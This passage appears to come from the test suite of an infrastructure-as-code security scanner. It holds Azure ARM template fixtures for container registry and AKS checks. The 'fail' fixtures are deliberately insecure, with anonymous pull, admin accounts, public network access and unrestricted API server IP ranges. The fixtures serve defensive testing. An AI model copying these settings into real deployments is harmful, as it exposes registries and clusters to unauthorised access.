"/test_SecureStringParameterNoHardcodedValue" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/arm/checks/resource/__init__.py ================================================ ================================================ FILE: tests/arm/checks/resource/example_ACRAdminAccountDisabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "resources": [ { "apiVersion": "2019-05-01", "type": "Microsoft.ContainerRegistry/registries", "name": "fail", "location": "[resourceGroup().location]", "sku": { "name": "Basic" }, "properties": { "adminUserEnabled": true, "anonymousPullEnabled": true, "dataEndpointEnabled": true, "encryption": { "keyVaultProperties": { "identity": "someIdentity", "keyIdentifier": "someKeyIdentifier" }, "status": "enabled" }, "networkRuleBypassOptions": "AzureServices", "networkRuleSet": { "defaultAction": "Deny", "ipRules": [ { "action": "Allow", "value": "127.0.0.1" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRAdminAccountDisabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "resources": [ { "apiVersion": "2019-05-01", "type": "Microsoft.ContainerRegistry/registries", "name": "pass", "location": "[resourceGroup().location]", "sku": { "name": "Standard" }, "properties": { "adminUserEnabled": false, "anonymousPullEnabled": true, "dataEndpointEnabled": true, "encryption": { "keyVaultProperties": { "identity": "someIdentity", "keyIdentifier": "someKeyIdentifier" }, "status": "enabled" }, "networkRuleBypassOptions": "AzureServices", "networkRuleSet": { "defaultAction": "Deny", "ipRules": [ { "action": "Allow", "value": "127.0.0.1" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRAnonymousPullDisabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2021-09-01", "name": "fail", "location": "eastus", "sku": { "name": "Standard" }, "properties": { "anonymousPullEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRAnonymousPullDisabled/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2021-09-01", "name": "fail2", "location": "eastus", "sku": { "name": "Premium" }, "properties": { "anonymousPullEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2021-09-01", "name": "pass", "location": "eastus", "sku": { "name": [] }, "properties": { "anonymousPullEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2021-09-01", "name": "pass2", "location": "eastus", "sku": { "name": "Premium" }, "properties": { "anonymousPullEnabled": false } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2021-09-01", "name": "pass3", "location": "eastus", "sku": { "name": "Premium" }, "properties": { "zoneRedundancy": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2021-09-01", "name": "pass4", "location": "eastus", "sku": { "name": "Standard" }, "properties": { "zoneRedundancy": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass5.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2021-09-01", "name": "pass5", "location": "eastus", "sku": { "name": "Basic" }, "properties": { "anonymousPullEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRAnonymousPullDisabled/pass6.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2021-09-01", "name": "pass6", "location": "eastus", "properties": { "anonymousPullEnabled": true } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRContainerScanEnabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "resources": [ { "apiVersion": "2019-05-01", "type": "Microsoft.ContainerRegistry/registries", "name": "fail", "location": "[resourceGroup().location]", "sku": { "name": "Basic" }, "properties": { "adminUserEnabled": true, "anonymousPullEnabled": true, "dataEndpointEnabled": true, "encryption": { "keyVaultProperties": { "identity": "someIdentity", "keyIdentifier": "someKeyIdentifier" }, "status": "enabled" }, "networkRuleBypassOptions": "AzureServices", "networkRuleSet": { "defaultAction": "Deny", "ipRules": [ { "action": "Allow", "value": "127.0.0.1" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRContainerScanEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "resources": [ { "apiVersion": "2019-05-01", "type": "Microsoft.ContainerRegistry/registries", "name": "pass", "location": "[resourceGroup().location]", "sku": { "name": "Standard" }, "properties": { "adminUserEnabled": true, "anonymousPullEnabled": true, "dataEndpointEnabled": true, "encryption": { "keyVaultProperties": { "identity": "someIdentity", "keyIdentifier": "someKeyIdentifier" }, "status": "enabled" }, "networkRuleBypassOptions": "AzureServices", "networkRuleSet": { "defaultAction": "Deny", "ipRules": [ { "action": "Allow", "value": "127.0.0.1" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACREnableImageQuarantine/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "resources": [ { "apiVersion": "2019-05-01", "type": "Microsoft.ContainerRegistry/registries", "name": "fail", "location": "[resourceGroup().location]", "sku": { "name": "Basic" }, "properties": { "adminUserEnabled": true, "anonymousPullEnabled": true, "dataEndpointEnabled": true, "encryption": { "keyVaultProperties": { "identity": "someIdentity", "keyIdentifier": "someKeyIdentifier" }, "status": "enabled" }, "policies": { "quarantinePolicy": { "status": "disabled" } }, "networkRuleBypassOptions": "AzureServices", "networkRuleSet": { "defaultAction": "Deny", "ipRules": [ { "action": "Allow", "value": "127.0.0.1" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACREnableImageQuarantine/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "resources": [ { "apiVersion": "2019-05-01", "type": "Microsoft.ContainerRegistry/registries", "name": "pass", "location": "[resourceGroup().location]", "sku": { "name": "Standard" }, "properties": { "adminUserEnabled": true, "anonymousPullEnabled": true, "dataEndpointEnabled": true, "encryption": { "keyVaultProperties": { "identity": "someIdentity", "keyIdentifier": "someKeyIdentifier" }, "status": "enabled" }, "policies": { "quarantinePolicy": { "status": "enabled" } }, "networkRuleBypassOptions": "AzureServices", "networkRuleSet": { "defaultAction": "Deny", "ipRules": [ { "action": "Allow", "value": "127.0.0.1" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACREnableZoneRedundancy/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "comments": "Container registry for storing docker images", "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2020-11-01", "name": "fail1", "location": "[parameters('location')]", "sku": { "name": "[parameters('acrSku')]", "tier": "[parameters('acrSku')]" }, "tags": { "displayName": "Container Registry", "container.registry": "[parameters('acrName')]" }, "properties": { "adminUserEnabled": "[parameters('acrAdminUserEnabled')]", "zoneRedundancy": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACREnableZoneRedundancy/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.ContainerRegistry/registries/replications", "apiVersion": "2020-11-01", "name": "fail2", "location": "[parameters('acrReplicaLocation')]", "dependsOn": [ "[resourceId('Microsoft.ContainerRegistry/registries/', parameters('acrName'))]" ], "properties": { "zoneRedundancy": "Disabled" } } ], "outputs": { "acrLoginServer": { "value": "[reference(resourceId('Microsoft.ContainerRegistry/registries',parameters('acrName')),'2019-12-01').loginServer]", "type": "string" } } } ================================================ FILE: tests/arm/checks/resource/example_ACREnableZoneRedundancy/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [{ "comments": "Container registry for storing docker images", "type": "Microsoft.ContainerRegistry/registries", "apiVersion": "2020-11-01", "name": "pass", "location": "[parameters('location')]", "sku": { "name": "[parameters('acrSku')]", "tier": "[parameters('acrSku')]" }, "tags": { "displayName": "Container Registry", "container.registry": "[parameters('acrName')]" }, "properties": { "adminUserEnabled": "[parameters('acrAdminUserEnabled')]", "zoneRedundancy": "Enabled" } }] } ================================================ FILE: tests/arm/checks/resource/example_ACREnableZoneRedundancy/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [{ "type": "Microsoft.ContainerRegistry/registries/replications", "apiVersion": "2020-11-01", "name": "pass2", "location": "[parameters('acrReplicaLocation')]", "dependsOn": [ "[resourceId('Microsoft.ContainerRegistry/registries/', parameters('acrName'))]" ], "properties": { "zoneRedundancy": "Enabled" }, "outputs": { "acrLoginServer": { "value": "[reference(resourceId('Microsoft.ContainerRegistry/registries',parameters('acrName')),'2019-12-01').loginServer]", "type": "string" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRPublicNetworkAccessDisabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "resources": [ { "apiVersion": "2019-05-01", "type": "Microsoft.ContainerRegistry/registries", "name": "fail", "location": "[resourceGroup().location]", "sku": { "name": "Basic" }, "properties": { "adminUserEnabled": true, "anonymousPullEnabled": true, "dataEndpointEnabled": true, "encryption": { "keyVaultProperties": { "identity": "someIdentity", "keyIdentifier": "someKeyIdentifier" }, "status": "enabled" }, "networkRuleBypassOptions": "AzureServices", "networkRuleSet": { "defaultAction": "Deny", "ipRules": [ { "action": "Allow", "value": "127.0.0.1" } ] }, "publicNetworkAccess":"Enabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_ACRPublicNetworkAccessDisabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "resources": [ { "apiVersion": "2019-05-01", "type": "Microsoft.ContainerRegistry/registries", "name": "pass", "location": "[resourceGroup().location]", "sku": { "name": "Standard" }, "properties": { "adminUserEnabled": true, "anonymousPullEnabled": true, "dataEndpointEnabled": true, "encryption": { "keyVaultProperties": { "identity": "someIdentity", "keyIdentifier": "someKeyIdentifier" }, "status": "enabled" }, "networkRuleBypassOptions": "AzureServices", "networkRuleSet": { "defaultAction": "Deny", "ipRules": [ { "action": "Allow", "value": "127.0.0.1" } ] }, "publicNetworkAccess": "Disabled" } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-preview-FAILED-3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2019-02-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": "yo" } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-preview-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2019-02-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-preview-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2019-02-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "apiServerAuthorizedIPRanges": [ "73.140.245.0/24" ] } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-supported-FAILED-2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2020-03-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "apiServerAccessProfile": { "authorizedIPRanges": [], "enablePrivateCluster": "false" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-supported-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2020-03-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-supported-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "clusterName": { "type": "string", "defaultValue":"aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "apiVersion": "2020-03-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "apiServerAccessProfile": { "authorizedIPRanges": [ "73.140.245.0/24" ], "enablePrivateCluster": "false" } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSApiServerAuthorizedIpRanges/aks-authIPRanges-unsupported-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "defaultValue": "azureuser", "metadata": { "description": "User name for the Virtual Machine." } }, "sshPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH public key string, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "virtualMachineSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "allowedValues": [ "Standard_B2s", "Standard_B2ms", "Standard_D2s_v3", "Standard_D2_v3", "Standard_DS2_v2", "Standard_D2_v2", "Standard_DS2", "Standard_D2", "Standard_A2_v2", "Standard_A2" ], "metadata": { "description": "The virutal machine size to use. We picked out the sizes with 2 vCPUs, but in real world projects you can choose other sizes as you desired." } }, "kubernetesVersion": { "type": "string", "defaultValue": "1.14.6", "allowedValues": [ "1.10.13", "1.11.10", "1.12.8", "1.13.10", "1.14.6" ], "metadata": { "description": "The version of Kubernetes." } }, "jenkinsDnsPrefix": { "type": "string", "metadata": { "description": "Unique DNS Name prefix for the Public IP used to access the Jenkins Virtual Machine. Azure will form the final DNS name as '..cloudapp.azure.com'." } }, "servicePrincipalAppId": { "type": "string", "metadata": { "description": "Service Principal App ID (also called Client ID) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers)." } }, "servicePrincipalAppKey": { "type": "securestring", "metadata": { "description": "Service Principal App Key (also called Client Secret) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers)." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "resourcePrefix": "jenkins", "OSDiskName": "[concat(variables('resourcePrefix'), '-os-disk')]", "nicName": "[concat(variables('resourcePrefix'), '-nic')]", "subnetName": "[concat(variables('resourcePrefix'), '-subnet')]", "publicIPAddressName": "[concat(variables('resourcePrefix'), '-ip')]", "vmName": "[concat(variables('resourcePrefix'), '-vm')]", "virtualNetworkName": "[concat(variables('resourcePrefix'), '-vnet')]", "vmExtensionName": "[concat(variables('resourcePrefix'), '-init')]", "frontEndNSGName": "[concat(variables('resourcePrefix'), '-nsg')]", "aksName": "aks", "aksDnsPrefix": "[concat('aks', uniqueString(resourceGroup().id))]", "_artifactsLocation": "https://raw.githubusercontent.com/Azure/jenkins/master", "_extensionScript": "301-jenkins-aks-zero-downtime-deployment.sh", 